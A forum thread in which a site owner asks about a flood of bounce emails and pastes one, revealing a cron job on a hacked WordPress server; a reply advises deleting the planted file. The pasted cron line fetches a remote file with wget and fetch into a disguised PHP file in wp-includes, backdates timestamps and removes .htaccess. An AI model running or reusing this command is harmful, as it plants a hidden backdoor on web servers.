getting tons of spam mail

[RamlazanC]

Hi everyone ,

since yesterday i get this email every minute . this is very annoying .
has anyone also same problem? or any suggestions are welcome .

thanks by advance

Hi. This is the qmail-send program at nsxxxxxx.ovh.net.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<myhostname.be@nsxxxxxx.ovh.net>:
./Maildir: No such file or directory
I'm not going to try again; this message has been in the queue too long.

--- Below this line is a copy of the message.

Return-Path: <root@nsxxxxxx.ovh.net>
Received: (qmail 4958 invoked by uid 10001); 10 Oct 2013 06:48:01 +0000
Date: 10 Oct 2013 06:48:01 +0000
Message-ID: <20131010064801.4909.qmail@nsxxxxxx.ovh.net>
From: root@nsxxxxxx.ovh.net (Cron Daemon)
To: myhostname.be@nsxxxxxx.ovh.net
Subject: Cron <myhostname.be@nsxxxxxx> wget http://www.idtheftne.org/rbkvgqdyle.txt -O /var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/MezfqXKhIqcs.php >/dev/null; fetch -o /var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/MezfqXKhIqcs.phphttp://www.idtheftne.org/rbkvgqdyle.txt >/dev/null 2>&1; touch -t 201104202045 /var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/index.html >/dev/null; chmod 0755 /var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/.htaccess >/dev/null; rm /var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/.htaccess >/dev/null; touch -t 201104202045 /var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/.; touch -t 201104202045 /var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/MezfqXKhIqcs.php >/dev/null
Content-Type: text/plain; charset=ISO-8859-1
Auto-Submitted: auto-generated
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/var/www/vhosts/myhostname.be>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=myhostname.be>
X-Cron-Env: <USER=myhostname.be>

--2013-10-10 06:48:01-- http://www.idtheftne.org/rbkvgqdyle.txt
Resolving http://www.idtheftne.org... 65.254.250.167
Connecting to http://www.idtheftne.org|65.254.250.167|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2772 (2.7K) [text/plain]
Saving to: `/var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/MezfqXKhIqcs.php'

0K .. 100% 21.5M=0s

2013-10-10 06:48:01 (21.5 MB/s) - `/var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/MezfqXKhIqcs.php' saved [2772/2772]

chmod: cannot access `/var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/.htaccess': No such file or directory
rm: cannot remove `/var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/.htaccess': No such file or directory

 

[CoreyT]

Delete the file at /var/www/vhosts/myhostname.be/httpdocs/wp-includes/js/thickbox/MezfqXKhIqcs.php

and secure your wordpress install following this guide: http://ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked/